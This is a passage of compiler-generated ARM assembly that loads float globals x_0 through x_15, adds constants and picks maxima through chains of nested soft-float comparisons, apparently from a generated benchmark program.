bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1373
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L82
.L1684:
.align 2
.L1683:
.word x_1
.word x_2
.word 1072693248
.word x_3
.word 1075838976
.word 1076887552
.word x_12
.word 1077084160
.word x_2
.word 1076232192
.word x_9
.word 1072693248
.word 1075970048
.word 1076625408
.word x_15
.word 1077018624
.word x_7
.word x_8
.word 1076101120
.word x_11
.word x_14
.word 1076363264
.word x_0
.word 1076953088
.word x_1
.word 1075314688
.word x_6
.word 1075576832
.word x_5
.L1373:
ldr r3, .L1683+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L82:
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1683+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1374
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L85
.L1374:
ldr r3, .L1683+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L85:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1375
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1376
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L91
.L1376:
ldr r3, .L1683+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L91
.L1375:
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1377
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L91
.L1377:
ldr r3, .L1683+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L91:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1378
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1379
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L99
.L1379:
ldr r3, .L1683+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L99:
ldr r3, .L1683+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1380
ldr r3, .L1683+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L102
.L1380:
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L102:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1381
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1382
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L112
.L1382:
ldr r3, .L1683+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L112
.L1381:
ldr r3, .L1683+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1383
ldr r3, .L1683+32
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+36
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L112
.L1383:
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L112
.L1378:
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1384
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L115
.L1384:
ldr r3, .L1683+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L115:
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1385
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L118
.L1385:
ldr r3, .L1683+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L118:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1386
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1387
ldr r3, .L1683+40
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+44
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L112
.L1387:
ldr r3, .L1683+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+48
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L112
.L1386:
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1388
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+52
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L112
.L1388:
ldr r3, .L1683+56
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+60
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L112:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-88] @ float
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1389
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L130
.L1389:
ldr r3, .L1683+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L130:
ldr r3, .L1683+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1390
ldr r3, .L1683+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L133
.L1390:
ldr r3, .L1683+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L133:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1391
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1392
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L139
.L1392:
ldr r3, .L1683+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L139
.L1391:
ldr r3, .L1683+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1393
ldr r3, .L1683+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L139
.L1393:
ldr r3, .L1683+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L139:
ldr r3, .L1683+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1394
ldr r3, .L1683+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
b .L145
.L1394:
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
.L145:
ldr r3, .L1683+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r8, r2
mov r9, r3
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r8
mov r1, r9
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1395
ldr r3, .L1683+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L148
.L1395:
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L148:
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1396
ldr r3, .L1683+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1397
ldr r3, .L1683+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L154
.L1397:
ldr r3, .L1683+68
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+72
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L154
.L1396:
ldr r3, .L1683+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1398
ldr r3, .L1683+76
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L154
.L1398:
ldr r3, .L1683+80
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L154:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1399
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1683+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1400
ldr r3, .L1683+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L162
.L1400:
ldr r3, .L1683+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+100
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L162:
ldr r3, .L1683+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1683+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1683+108
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1401
ldr r3, .L1683+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L165
.L1401:
ldr r3, .L1685
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L165:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1402
ldr r3, .L1685+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1403
ldr r3, .L1685+104
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+4
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L175
.L1403:
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L175
.L1402:
ldr r3, .L1685+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1404
ldr r3, .L1685+44
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L175
.L1404:
ldr r3, .L1685
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+92
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L175
.L1399:
ldr r3, .L1685+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1405
ldr r3, .L1685+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L178
.L1405:
ldr r3, .L1685+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L178:
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1406
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L181
.L1406:
ldr r3, .L1685+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L181:
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1407
ldr r3, .L1685+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1408
ldr r3, .L1685+12
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+8
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L175
.L1408:
ldr r3, .L1685+28
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+56
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L175
.L1407:
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1409
ldr r3, .L1685+64
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl __aeabi_dadd
mov r2, r0
mov r3, r1
b .L175
.L1409:
ldr r3, .L1685+16
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+20
bl __aeabi_dadd
mov r2, r0
mov r3, r1
.L175:
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-84] @ float
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1410
ldr r3, .L1685+112
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+32
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
b .L193
.L1410:
ldr r3, .L1685+88
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+24
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
.L193:
ldr r3, .L1685+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r6, r2
mov r7, r3
ldr r3, .L1685
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+84
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r6
mov r1, r7
bl __aeabi_dcmpgt
mov r3, r0
cmp r3, #0
beq .L1411
ldr r3, .L1685+96
ldr r3, [r3] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, #0
ldr r3, .L1685+40
